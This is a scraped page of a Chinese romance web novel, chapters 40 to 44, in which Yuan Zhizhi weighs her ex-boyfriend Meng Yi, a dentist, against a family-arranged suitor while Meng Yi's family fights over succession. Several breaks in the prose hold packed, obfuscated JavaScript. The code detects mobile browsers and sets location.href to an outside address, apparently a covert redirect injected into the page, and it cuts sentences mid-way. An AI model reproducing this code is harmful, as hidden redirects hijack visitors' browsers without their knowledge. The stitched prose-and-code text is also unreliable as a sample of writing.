RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255026|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感兴趣当初自己就报医学院了。” 本以为这两人该闭嘴了,没想到孟懿脸上突然露出一个刻意而又迷人的笑容:“等会儿我们一起去买菜,元叔叔说今天要露一手给我们看看。” 不用问就知道聊到兴起处时父亲大概又邀请了他去家里吃饭,孟懿满意的看到林鹤之眼底的失落和探究,转头对上元知知浅色如琉璃的瞳孔时又极快的敛下了自己的愉悦。 元教授似乎是被提醒了,当即拍拍林鹤之肩膀:“刚好,咱多买点菜,小林晚上也来叔叔家吃饭,尝尝我的手艺。” 元知知朝林鹤之使了个眼色,这段时间他们多次应付双方长辈催相亲的默契让这个眼色的意思十分明显,但他犹豫片刻竟没有按她预想中那样婉拒邀约,反而道:“那就又要叨扰元叔叔了。不过有个本科生约了来讨论论文,我大概要晚点才能到。” 最后决定元教授和林鹤之结束学校的事情后一起回元家,孟懿则和元知知先一起去买了菜再回去。 林鹤之离开时回头看了好几眼,元知知没有注意到,孟懿不动声色的挪了半个身位,将他的背影挡的严严实实。 “刚刚那男人是谁?” 一个从来不自己做饭的人和另一个从来不自己买菜的人凑在一块儿压根不敢往菜市场凑,稍不注意就容易被坑的发懵。他们干脆去了海河大学附近的大型商超。 元知知正挑着西瓜,被孟懿冷不丁这么一问还有些没反应过来,直到他又问了一遍:“刚刚那个男人是谁?看起来和叔叔关系很不错。” “我爸朋友的儿子,从小看着长大的当然关系不错。” “从小看着长大?”孟懿突然凑近了她,说话时阵阵热气迫使着她侧了侧身:“跟你一块儿长大的青梅竹马?” 元知知抿唇,没有理他,径直朝着超市生鲜区走过去,他推着购物车跟在后面,死死盯着她的背影,仿佛光靠盯就能盯出一个答案来。 一直到结完账打了车回家孟懿整个人还弥漫着冷峭阴郁的气息,路过的行人看他这副神情都不敢多看一眼。 大概是出生家庭不凡的原因,他身上总有一种常人难以靠近的矜贵,尤其是生起气来有些格外不近人情的可怖。但元知知很清楚那只是表面而已,透过他的沉郁与冷然,藏在内心深处的大概是无害的委屈和郁闷。 他对着她总是这样,用委屈来骗她心软,即使清楚的意识到这一点,但元知知还是一次又一次如他所愿。 因为这样的委屈也从来只会向她一个人展示。 她眸光闪了闪,认真看着他黑沉沉的瞳孔:“林鹤之十多岁的时候就出国读书,从那以后我们就很少见了,最多逢年过节碰上一面,我去华清一中读书以后似乎就没再见过了,要不是我爸妈,我估计都忘了小时候还有这么一个玩伴。” 话音刚落,她愣在了原地,孟懿的眸子近乎顷刻间亮了起来,像是装着一池熠熠星光,流转着异样的色彩,让人连刻意忽视都做不到。 41. 第 41 章 自从得了她一句解释以后孟懿整个人都变得很轻快,这样的形容放在他的身上可以说是违和,但就像是一针强心剂注入了血管,他被瞬间安定下来。 他根本没想到元知知愿意向他解释,只觉整颗心像泡发了的海绵,被意外之喜泡的酸软;又觉像是被好几层糖浆堆起的巧克力蛋糕,正在一层一层融化。 这样的好心情一直持续到回了元家也没散去,元知知没理跟在后面提着大包小包的男人,踢掉了脚上的跟鞋,光着脚走近客厅。 孟懿本能的把手上东西放下,蹲下身子把她踢得四仰八叉的一双鞋收好放在鞋柜里后又提着她的拖鞋追了过去:“把鞋穿上,还是三伏天,不要贪凉。” 元知知虽然嫌烦,但也配合的踏上了拖鞋。 不知从何时起就在观察的张女士悄悄拉过元知知小声询问道:“你这是答应他了?” “答应什么?” “谈恋爱啊,不然小孟在这儿傻乐些什么,把你看得那么紧,跟看祖宗似的。” “妈!” “好了好了我不说了。” 一杯清茶被放在孟懿面前,想起母亲刚刚的话,元知知突然心头有些发酸。仅仅几句随口的解释有什么值得高兴的,那个原本桀骜又热烈的少年现今却像一个没有安全感的孩子骤然得到了他的阿贝贝,出乎意料的容易满足。 “袋装工夫茶比不上你自己煮的茶,将就着点。” “我本来也不是那么喜欢喝茶的人,其实我也喝不出来什么区别。” 元知知知道这话是刻意在讨她欢心,但她莫名低落的心情还是被微妙的愉悦替代。 “补过的那颗牙现在怎么样了?” 被他一提醒她才想起自己之前打算一回了海河市就要找个牙医看看这颗牙的,最开始的一周一直有隐隐的痛感,后来则一点感觉都没有了,她也就把这回事抛诸脑后。 现在被孟懿提起她不由自主用舌尖顶了顶那颗牙:“之前疼过一阵,后来好了。” “张嘴我看看。” 孟懿弯腰半晌没能看清楚什么,在元知知都感到有些尴尬的时候他不知从哪里摸出了一副一次性塑料手套,隔着一层塑料薄膜,修长的手指探进了她的口腔。 不比医用手套,这种一次性手套仅仅能起一个物理隔绝的作用,手指的温热源源不断燎着时不时被触碰到的舌面,让她有些分不清这到底是她口腔里的温度还是他的体温。 她听见他温柔的低笑声,明明是正经的安抚,却勾的她耳朵发烫:“放轻松,只是简单检查,别忘了呼吸。” 话音落下她才感觉到大量的空气涌入肺部,他的手也已经离开:“外面看没什么问题,有时间的话到医院去拍个片子,我这段时间都在海河大学医学院或者你们市一院,你来哪边都可以。” “嗯好。” 元知知心不在焉,感受着乱了节奏的心跳,竟然不太敢直视孟懿的眼睛。 比起旧情复燃,这更像是......初次心动的电流。 “你们干嘛呢?” 被父亲突如其来的声音拉回神志,她吓得后退一步,快要撞上身后人的时候被孟懿扶住了肩膀,安定感瞬间取代惊吓。他有力而稳定的像一个强大的支柱,自重逢以来总是像这样于无声处提醒着她他也已经成长为一个能够独当一面的成年男人了。 “刚刚想什么去了这么入迷,开关门那么大的声音都没听到?” “工作上的事情,林先生快进来坐吧,我去泡茶。” 原本带着笑的林鹤之已经彻底挂不住面上的温和了,他看着眼梢潋着薄红的元知知,身侧的手蜷了蜷,又很快松开。 而孟懿听见她对他生疏的称呼,坐下后转动着杯子慢悠悠抿了一口茶,薄削的唇被浅笑削弱了几分锐利。 这笑落在林鹤之眼里无比刺眼。 今天的菜依旧不是张女士和元教授做的,不过这夫妇俩至少还打了个下手,元知知是彻头彻尾的等着吃。 本以为两个小伙子一起做了一顿饭再怎么样关系也要熟悉一些了,没想到坐在一个餐桌上的时候看起来反而更生疏了,尤其是看到孟懿坐在了元知知身旁后,林鹤之周身的气氛僵硬的快凝成实体。 从小到大所有人对他的评价都是温和儒雅,脾气好到让人没法想象他会对人生气,后来面对着恶意的同事或是愚蠢的学生他也从来不会产生多余的情绪波动,就像是一个圣人一样,能包容世间万物所有人。 但林鹤之很清楚自己根本不是这样的,他的宽容来源于他的高傲。因为他很清楚自己拥有出众的天赋与能为他保驾护航的家世,他从来温和宽厚情绪稳定,也只是因为他根本不屑于为这些事这些人浪费自己的情绪。 他的宽容从来都来自于高高在上的睥睨,唯有在遇到旗鼓相当的对手时他才会选择以一个常人的视角平等的看待对方。 过去的学术生涯里这样的对手也有几个,但坐在对面的男人是唯一一个在专业领域之外给予他威胁感的人,哪怕脱离元知知带给两人的竞争关系来看也是如此。 元教授和张女士对视一眼,一致选择闭口不言。 元知知先夹了一筷子糖醋里脊:“甜酸适宜,好吃。” 林鹤之眼睛亮了亮。 再夹了一筷子清蒸鲈鱼:“没有腥味,很香。” 孟懿唇角勾了勾。 一双公筷在桌上飞来飞去,两个主厨都热心给她夹着菜,没过一会儿元知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282465|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知的饭碗里就冒起了高高的一撂菜,像一座小山。 她仔细分辨了一下,孟懿做的和林鹤之做的菜各占了一半,分布的倒是均匀。 至于她为什么能分出来,孟医生的手艺只需要尝过一次就能深深的记下来,这些年的确长进不少。 碗里被菜堆起的高山让她的头一阵阵的发疼,在这时身旁的一只手伸了过来,孟懿已经端起她的碗,微微一斜这碗里垒起的菜大半都被倒进了他自己的碗中。 说是冒犯也谈不上,可终归是有些过界了,张女士和元教授不由得屏住了呼吸,生怕女儿脾气爆起来在饭桌上直接把盘子掀了。 但元知知只是愣了一下,随即低头自顾自扒拉着碗里剩下的饭菜了,孟懿解决掉了从她碗里分出来的菜。 张女士夫妇俩倒抽了一口冷气,林鹤之握着筷子的手猛然用力。 一顿饭结束的匆忙,他告了个别就匆匆离开了。 元知知趴在阳台上望着楼下远去的背影,另一道热源挨近在她身边,在三伏天里哪怕太阳快要落下温度也高得有些熏人。 她往旁边挪动了一些,不料那道热源也跟着朝她身旁挪动,两人的距离再次被拉近。 “在看他?” “没有,只是透透气而已。” 孟懿也学着她的模样把双手放在栏杆上,但整个人要高出不少,硬要把下颌抵在手背上的话则显得滑稽了。 她抬头看他,却发现他也正垂首盯着她,漆黑漂亮的眼里浮动着若有若无的笑意。 “你今天多夹了两筷子我炒的菜。” 原来这人整顿饭都在暗中和林鹤之较着劲。 “我倒不知道孟医生什么时候变得这么幼稚了?” “从我十八岁那年第一次偷偷换了情侣微信名的时候。” 接下来两周元知知几乎没再见到林鹤之的身影,反倒是孟懿常常出现在元家里,有时候是元教授邀请、有时候则是他自己主动询问方便上门的时间。 久而久之就连张女士也能放下架子和让她满意的“小孟”聊上两句。 但这个口腔医学交流活动持续时间并不长,医院那边还需要排班,孟懿也不能再拖下去,第三周他就搭上了回华清市的车。 他离开海河市后,前两天只是元教授和张女士先后数次念叨着他,后来或许是念叨的多了,第三天夜里元知知竟然难得的失了眠,一闭上眼满脑子都是十八岁的孟懿和二十八岁的孟懿交替出现。 实在无法入睡,她不得已拿起手机刷了会儿视频,好不容易有了一点睡意时屏幕顶端弹出了一条消息通知框,是一条最新新闻。 关闭手机的手一顿,一闪而逝的“孟家”二字让她点开了那个新闻软件。 42. 第 42 章 孟懿家的门被敲开的时候已经是深夜了,他惊讶的看着李杭和陈骏驰,不懂这两人在搞什么名堂。 “如果我没看错的话,现在马上十一点了,这里是我家不是酒吧。” “还有心情睡呢?你们家真要变天了你不知道?” 楼道里的照明灯自然熄灭,他们瞬间陷入了黑夜里,孟懿侧身让开了一个身位,两人这才得以进了他家。 李杭心情复杂的凝视着客厅置物架上摆放着的相框,照片背景是一个很大的舞台,而站在舞台前明眸皓齿的那个女人不是元知知又是谁? “我说你怎么一点也不着急呢?好不容易和初恋复合了,你爸这么一掺和不是又要吹了?” 孟懿目光瞬间锐利了起来,李杭举手投降:“不是,你书桌上把人高中时的照片都这么明目张胆摆着了,我们想不看到也很难吧。” 书房里照片中青涩得不沾染一丝粉黛的女孩长相实在出挑,他和陈骏驰只是无意扫了一眼就彻底记住了元知知的长相,以至于也能一眼认出她十年后的模样。 上次他们来他家时还没有这张照片,一推时间也只能是最近拍的了。 孟懿侧头看了看置物架上的相框,那是音乐节那天夜里他为她拍下的。那时舞台大屏的画面刚从他们身上挪走,他们间黏腻的暧昧在空气里为两人织成一个封闭的蝉蛹,她也正恼羞成怒的踹了他一脚留给他一个生硬的背影。 他笑着喊了她好几声名字她才终于转头看他,这张照片就是在那一刻被摁下快门记录下来。 女人脸上仍带着羞意的薄红与气恼的不耐,更让她的眉眼生动起来,就连万花丛中过的李杭也不得不承认这是一个昳丽到有些扎眼的大美人。 “没有复合,”孟懿语气不似刚才那般生硬,“她还没有同意。” “我去,孟大医生你知不知道你现在笑的有多恶心,谈恋爱的人都是这样的?” 他神色稍微严肃了一下:“她还没有同意复合,你们不要乱说话。” 李杭扯着嘴角似笑非笑补充着:“也是,估计以后也没法同意复合了,毕竟我们孟医生似乎都要有未婚妻了。” “未婚妻?” “你还不知道?” 孟懿神情的讶异不似作伪,这下惊讶的人反倒变成了陈骏驰和李杭两人了:“我爸和你爸参加一个局的时候你爸说的啊,对方是一个上市医疗器械公司的千金。” “说的是考虑到儿子也是个医生,所以......特意给你找了一个相关领域的配偶,我爸回来还说你们简直是天生一对的金童玉女......你真不知道?” 觑见对面人越来越黑的脸色,李杭的声音也变得越来越小,杯中水见底了也只得自己老老实实去倒。 孟懿捏了捏太阳穴,深深叹了口气,这老头子还真是不肯让他稍微舒心一些。 待到两个好友都先后告别他才重新打开了手机,置顶聊天框没有新消息发来,他两小时前发过去了一个【晚安】也没有回复,大概是已经睡下了。 手指往上轻轻一划,这段时间的聊天记录除了他频繁的问候分享之外元知知回复频率也高了起来。他从刚好翻到的日期里重新一条条看了下来,拉到底的时候心情已经不知不觉松快了许多,就连他自己看不见的唇角也是微微的勾起。 关掉微信,孟懿从通讯录中点开了一个久不联系的号码拨了出去:“喂,孟荣?是我。” “明天要见一面吗?” - 元知知久违的感觉到了牙疼,揉了揉乱成一团的头发,从床上跪坐起来伸长手够到了床头柜上的手持镜。 换了各种角度也看不到口腔里到底什么情况,她伸手摁了摁才发现疼着的那颗牙所处的位置在比较后面的排列。 她心底涌上一股不好的预感,在手机相册里翻翻找找,终于是把在华清市时拍的口腔片子找出来了。 她循着记忆数了数自己的牙齿,发现现在疼的这样剧烈的牙齿果真是孟懿给她补上的那一颗,元知知含了一口冰水,牙疼得到些微缓解,心里的烦躁也稍稍平复下来了。 再观察一段时间吧,本能的逃避心理又一次翻涌,她按着自己的脸颊,宽容的容许自己又缩回了她的安全屋内。 就像昨天夜里看到的那个新闻时一样,【孟家公子好事将近,门当户对强强联合】,新闻稿里没提到具体是孟家哪一个公子,但通篇都暗示着继承权会与这桩婚事有很大的关系。 辗转反侧了半夜,元知知还是没有给孟懿发出询问的信息,哪怕是真的,她也没有任何立场与身份可以理直气壮要孟懿告诉她到底怎么回事。 更何况,这么一篇彻头彻尾都没有明确人物指向的新闻,她私心里并不太认可它的真实性。 说是逃避也好、说是退缩也罢,无论是对于牙齿还是对于孟懿,她都在此刻保持了沉默。 “知知,找你的电话!” “来了。” 即使隔着几千公里的距离和一根虚无的电话线,孟懿的声音还是给了她一种他就在耳边对她说话的错觉:“怎么一直不接电话?” 元知知侧头瞥了一眼才发现手上拿的是张女士的手机,她的好像丢在了房间里:“没听到你的电话,有什么事吗?” 自从开始休假以后她的手机就处于长期静音的状态了,一时间没接到电话也是常有的,只是没想到孟懿竟然搞到了张女士的手机号码。 她又把手机往眼前一放,屏幕自动亮起来,张女士还给他备注了【小孟】。看来在她不知道的地方孟懿竟然跟她妈妈也处的还不错了,要知道张女士一开始对他的冷淡态度可是有目共睹的。 “没什么,就是想问问你现在在干什么?” “刚洗了头准备吹头发。” “吃午饭了吗?” 元知知嗤笑:“孟医生您要不要抬起腕表看看时间呢,还不到十一点吃什么午饭。” “那你吃早饭了吗?” 孟懿敏锐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313304|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戳中了要害,她一时间被堵得说不出话来。 “你这样不规律的饮食对身体伤害很大,高中那会儿把自己搞进医院的事情就算了,听张阿姨说你这么些年也总犯胃炎,怎么还是不当回事。” 元知知耸耸肩膀,但忘记他不在身边看不见这回事了。 张女士不知从哪里冒了出来:“说了无数遍了,但知知现在翅膀硬了,我们根本管不住她。小孟你可要看好她,别不敢说她。” 孟懿无奈的声音传来:“知道了阿姨,让您费心了。” “元知知......” 她头皮发麻,不停的按着手机音量键调整了通话的声音:“好了好了我知道了,马上就去吃点东西垫垫。” 男人低声轻笑的声音有些像音乐厅里的大提琴独奏,悦耳醇厚,像一连串音符一样敲击在心尖上:“我不是想教训你,我是想说你如果没什么胃口就我来给你做,我看你似乎挺喜欢我的手艺。” “孟懿你疯了?你不上班了?” “工作哪里都可以找。” “以后别再让我听到这种儿戏般的话了,你是成年人,应该为自己做出选择并且负责。” 孟懿虽然没法看到她的表情,但语气微妙的变化还是让他敏锐的察觉到了她情绪的转变,她说这话时无比认真。 “知道了,大不了隔上几天就打飞的来给你做饭。” 孟家财大气粗,孟懿说出这话就是他做得出来这事,还真不单单就是说几句玩笑话。 元知知终是无奈妥协:“知道了,我尽量好好吃饭。” “嗯。” “那我挂了?” “嗯。” 元知知利落的按下了红色挂断键,虽然声音很轻很低,但她还是在挂断前的最后一刻听到他说:“我想你了。” 男女之间这种肉麻话后来谈过的几段恋爱都或多或少说有对彼此过,但没有一个像此刻孟懿的这句话一样,一阵令人酥麻的电流贯穿她的全身。 她想起高考体检的那一天,男女学生即使是分批次检查但也总会有撞在一起的时候,何况刻意为之。 元知知坐在量血压的桌前时听得旁边传来一声清咳声。她侧目去看,孟懿正站在一边量着身高体重,整个人在仪器前转来转去,但目光始终放在她的身上。 见她终于转头看他时才蓦然勾起唇角,少年一笑张扬又肆意,连带着夏日窗外模糊了景物的热气也变成了湖水般的波光粼粼。 清楚的听见自己飞快跳动的心跳声,元知知慌乱把头转了回来不再看他。 但已经晚了,手上的血压器由紧到松,她听见医生的惊呼:“心率怎么这么快?” 元知知被医生留着测了整整三次,直到第三次她故作凶狠的瞪了一眼孟懿,他笑着走来了她才感觉到脸上的红晕散了下去,心率也终于恢复到了正常值。 她按着自己左胸处的位置,像那时候一样感受着心脏从跃动到平缓的过程,长舒了一口气。 43. 第 43 章 孟家最近因为权力交接的事情大小宴不断,记者希望拜访的邮件也是如漫天雪花般涌进孟氏的工作邮箱里,就连孟懿这个不管事的闲人也不得不隔三岔五向医院请假处理私事。 好在即使再忙他也总能在睡前匀出些时间和元知知通个电话,再不济也是来回发送好几个语音条,比起消耗精力,在听到她声音的那一刻孟懿反而感觉到疲劳的身体与精神都在回暖。 而正是因为太过忙碌的原因,于薇再见到他已经是很长一段时间之后的事情了。 自从上次不欢而散后孟懿以为自己这个母亲又要气他好长一阵子了,不曾想今日不但主动找上门来,见到他时的表情也不复以往的挑剔刻薄,满脸堆起的笑容让她硬生生多了几分母爱的温柔。 这是有利可图了,孟懿不动声色敛下眸子,遮住黑沉瞳孔里的郁色:“让开。” 于薇放在耳垂上捻着的手一顿,耳饰上点缀着的蓝宝石流光溢彩,不用问就知道又是哪个新男友买来讨她欢心的。 见她还堵在门口不肯走,孟懿眉眼间的不耐更重,他们僵持在房门前,最后还是于薇先让开了。 她带着些妥协的示好笑意道:“你不想让我去你家我就不去了,就在门口,跟妈说几句话妈就走。” 孟懿双手环胸,懒懒靠在门前好整以暇睥睨着矮了他两个头的母亲,看得于薇整个人寒毛直竖,无数次在心里暗恨怎么生下一个这么阴森又可怖的儿子。 孟懿是这样,就连他同母异父的弟弟于安许也是这样,她有时候不经意间和这兄弟俩对上目光都会觉得陌生可怕。对自己的亲生母亲尚且如此,何况是对其他人。 于薇从头到尾都不相信这个儿子在外面能是什么好人,忍住了下意识后退一步的冲动,维持住了勉强的微笑:“我听说你爸给你定了婚事了?” 男人蹙眉:“您要没事儿干就多谈几个男朋友多包几个情人打发时间,别再关注孟家的事了。” 他取出烟盒捻出一根烟来,打火机清脆的弹响在楼道里产生了微弱的回声。 于薇下意识皱紧了鼻头,她实在厌恶烟味儿,但看了看这个大儿子那张冷漠的脸,还是把喉咙里呼之欲出的命令咽了回去。 “我这不是关注孟家的事儿啊,是关心你啊,你说你要是没从你爸那儿拿到继承权,往后在堂兄弟手下的日子可就不那么好过了。人家医疗公司的大小姐配你倒也正好,你爸挑人的时候倒还是花了些心思。” “不劳关心。” 呛人的烟味逐渐占据空间,于薇咳嗽了几下:“你怎么能这么说,我可是你妈妈啊,我不关心你的话你看看外面还有谁能这么掏心掏肺的关心你!” 孟懿冷笑着,只觉得‘妈妈’两个字从她口中说出来尤其刺耳:“是关心我?还是关心我手上孟氏的股份?” “你搞清楚于大小姐,我手上有多少孟氏的股份或者财产都跟你没有关系,按我们年龄来说反倒是你没了还要分我遗产。” 于薇脸色瞬间变了,狰狞与凶狠眨眼间就取代了强装出来的温柔,胸膛快速起伏,看样子是被他气得喘不上气了:“你这个不孝子!早知道你如今这幅模样,当初我就不该——” “不该生我?”孟懿又笑笑,吞云吐雾间白稠的烟圈打在于薇的脸上,她当即剧烈呛咳起来,“这句话已经听腻了,下次换个话术。” 他摁着指纹开了锁,被烟雾呛咳的还没缓过气的女人三两步跑上来,伸手强硬按住了他欲要关上的房门。 孟懿终于连最后那一点耐心都彻底丧失了,语气淡漠道:“如果不想让我分到你的遗产,与其在这里找不痛快,不如赶快回于家立个遗嘱。” “你说呢,妈?” 话音落下,孟懿露出了一个几乎称得上是恶意的笑容,于薇一个激灵松了手和他拉开了几步的距离,厚重的防盗门在她面前毫不留情的砸上了。 孟懿背靠着房门闭了闭眼,门外传来皮包砸向房门的闷响声。他的手上传来灼烧的疼痛感,垂头看时才发现烟头已经燃到了指尖处,仿佛感觉不到疼痛一般,他用手直接掐灭了火星子。 - 林鹤之久违的上门拜访让元知知心头一跳,但他没有表露出任何多余的情愫,只一进了元家门就直奔书房与元教授讨论手上课题的最新进展。 待到他出来之后已经是两三个小时后的事情了,张女士邀请了他正好一起留下吃晚饭。 意料之外的餐桌上的气氛竟然算得上轻松,林鹤之没有刻意与她搭话,只是在聊起相关话题时自然的寒暄几句。他甚至聊起了最近的几次相亲经历,她心头微松了口气,撑着下巴听他们聊天。 “你妈妈后来介绍的那几个姑娘我还真认识一两个,都很不错啊,怎么你这一点儿动静都没有,你妈该着急了。” 林鹤之看了一眼元知知,随即笑道:“是我的原因,课题正是要紧的时候,也没那个心力去顾及个人生活。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338272|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张女士可惜道:“要实在不行我给你介绍几个?别说我还真认识好几个很优秀的女孩子,这正缘说不定就在这其中呢。” 元知知往她碗里夹了一块虾饺:“行了妈,人家林鹤之有自己的打算,咱就别跟着凑这些讨人嫌的热闹了。” 林鹤之在张女士眼刀子飞过去之前赶紧道:“没有没有,张阿姨热心肠我感谢还来不及,怎么会讨人嫌,知知也是体谅我。” 母女俩一场眉眼官司被中途制止了,林鹤之也逃离了独属于长辈们的催婚魔咒。他悄悄向元知知递去了一个感谢的眼神,元知知眨了眨眼睛,示意自己接收到他的感谢了。 饭后林鹤之就要告辞回家了,张女士赶了元知知出来送他一起回去,好在两家都住在家属院里,两人干脆就把这当作饭后的散步消食了。 “好久没见到你似乎是长胖了一点点?” 元知知捏了捏自己腰间的肉,或许是酒足饭饱的原因,还真让她捏出些软肉来:“看来最近是吃的有点太多了,以前一天两顿就顶了天了,这段时间倒是一日三餐餐餐不落的。” 林鹤之神色犹疑着:“看来我是不该说了。” “这有什么,年龄越来越大我本来也要改善饮食方式了,不会因为你一句话就搞什么节食减肥呢。” 林鹤之失笑:“但你现在反而比之前更好看了,无论是气色还是别的。” “恭维可没有用啊,我已经记恨你了。” “还要请元小姐宰相肚里能撑船,原谅我吧。” “嘁。” 他们很快到了林教授家楼下,林鹤之转身看着她:“天快黑了,我也就不请你上去坐坐了。” “嗯,两家长辈都是朋友,也没必要讲究那些虚的。” 元知知转身要走,但林鹤之叫住了她:“知知。” “嗯?” “其实我也没有很抗拒相亲对象。” 她先是愣了一下,随后轻笑道:“那不正好吗,林叔叔他们和我妈不是组了挺多相亲局?” “你知道我不是这个意思。” 林鹤之上前一步:“我们条件相当、两个家庭间关系也很融洽,我相信我在你这儿的印象应该也不算差。” “刚好我们年龄也都在这儿了,家里都催得急,我是觉得我们挺合适的。当然我不是说现在就要交往的意思,我只是觉得或许我们可以进一步发展了解一下呢?” “要不要试一试?” 44. 第 44 章 两人相对而立,元知知凝视着他,半晌没有言语,随后才很轻的叹了口气,这一声入耳的叹息让林鹤之脸色微微发僵。 “林先生,你是一个很优秀很有魅力的男人,但我一直觉得两个人间的关系或许不能用是否合适来衡量,我不喜欢这样没劲的相处。” “元小姐,你该知道我们原本是在父母安排的相亲局上见面的。” 林鹤之带着些无奈的笑意,声音也松弛下来,元知知也笑道:“我以为你和我一样都没有准备好接受父母安排的相亲呢,没想到......不愧是搞学术研究的人,接受能力就是强。” “别损我了,不过也是年龄到这了,时间久了也就觉得其实就那样也还不错。即使是相亲,但对象是你的话让我觉得也没有那么让人抗拒。” “是这样吗?” 很难也不愿意再接上对方的话,嘴角的笑意也渐渐消失,终究是林鹤之先说出了送别的话:“那我就先上去了,时间不早了,你也快些回去吧。” “嗯,那就改天再见了。” 夜风吹过,海河市的盛夏难得有早晚温差大的时候,她缩了缩脖子,把手揣在薄薄的衣兜里转了身。但细如蝉丝的微风还是顺着极小的缝隙钻到皮肤表面,让人不自觉打个寒颤。 “元小姐。” “嗯?” “如果,如果你改变主意了,也可以随时联系我。” 元知知挑了眉:“好。” - 孟懿已经有好几天没有和元知知通过电话了,总是几条微信发过去就紧着忙手头上排好的事情,等他看到她的回复时时间又已经过去了很久。 再发新的信息过去,新的回复也已经到了第二天早上才会收到了,久而久之两人竟然很难真正的聊上两句,他们都久违的感觉到了一种疲惫感。 “孟懿?” 打好的字最终还是被一个个删除,想发的信息没能发出去,他按灭了手机屏幕。抬眸扫了一眼来人,下巴点点对面的椅子:“坐吧。” 孟荣拉开凳子坐下,看着悠然自得把玩着手机的堂弟,仍有些犹疑:“为什么要帮我?明明你——” “明明我本来是板上钉钉的继承人了?” 他们所处在一家幽静的咖啡厅,是李杭大学时攒了两年手上零花钱投下来的,此时倒是给他们谈话提供了一个足够安静又隐秘的空间。 “我说过很多次,我就想做一个普普通通的小医生,是你们自己不肯相信。” 孟荣苦笑:“是,也只有你这样孟董的独子才能有这样的底气和勇气选择自己喜欢的东西,不像我们这些旁支兄弟,为了一个偏远地区的分公司也能斗得筋疲力竭。” “是吗?”孟懿笑了笑,但旁人看不出来这笑容底下的真正含义,“和吴小姐见过了吗?” “见过了,她对和我们合作很感兴趣,事情应该很快就能推进下去。” “届时我会按照约定履行我们之间的条件,只是......你为什么会选中我?真的不怕我拿到孟董手上的大部分股权后反悔?” “我是不想接手我爸的摊子,但也不是想毁掉,你虽然一直默默无闻抢不上什么资源,但我很清楚你是这一辈中难得有手腕有魄力的人,孟氏在你手上发展不会差。” “再说了,即使你拿到孟董手上的股份,也未必一切都稳定了,”他的嘴里父亲不是父亲,而是有着上下级关系的‘孟董’,“相信我们都会守在各自的安全区域,不会轻易越过红线。” 孟懿既然敢把台前的领导位推到别人的手上,则不可能不给自己留后手。 父母离婚时分到的股份已经通过舅舅转到了他的手上,再加上孟董事长和他自己陆陆续续从小股东那里买进的股份,待到继承人一确定,公司的最大持股人俨然就变成了他这个不管事的闲人。 届时哪怕是聚光灯下的孟荣也不过是企业的打工人罢了。 手机屏幕因为微信新消息的提示亮了一瞬,孟懿瞬间止住了话头解锁了手机,界面仍停留在与元知知的聊天页中。 两人间最后一条消息显示的时间是昨天下午,新消息不是她发来的。 孟荣能明显感觉到堂弟在查看了手机以后心情明显不像刚才那样放松,倒显得有些......低落? 在他看来低落这个词放在孟懿的身上似乎有些奇怪,他总是游刃有余又处变不惊的,即使面对着他父亲孟董事长那样的人也总是不卑不亢,他时常感叹像孟懿这样的人才是真正精英教育下的子弟。 而他们,则只是有钱家庭投注了大把金钱和资源养出来的稍微有些优势的普通人罢了。 - 因着事务所的一些杂事元知知这几日稍稍忙碌了一些,许久没有这样通勤来回让她疲惫地连一丝出门娱乐的心思都没有,倒又像回到了没日没夜加班的时候,愁的张女士头发都白了好几根。 “你这一天天也不出门社交,怎么认识优质对象啊?” “出门社交是为了适应社会需求又不是为了认识男人去的,再说了我事务所那边马上带团队了,我这几天愁着呢,没空想那些事儿。” 张女士一听立马走上前给瘫坐在沙发上的女儿揉捏着肩膀:“我的知知辛苦了,在竞争这么激烈的单位工作还能杀出重围,实在太厉害了,不愧是我的女儿。” “对了,给你约了李医生明天下午的时间,你从事务所回来记得去啊,他也好久没见着你了,估 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423021|135637||http|test|mini|href|location''.split(''|''),0,{})); () { 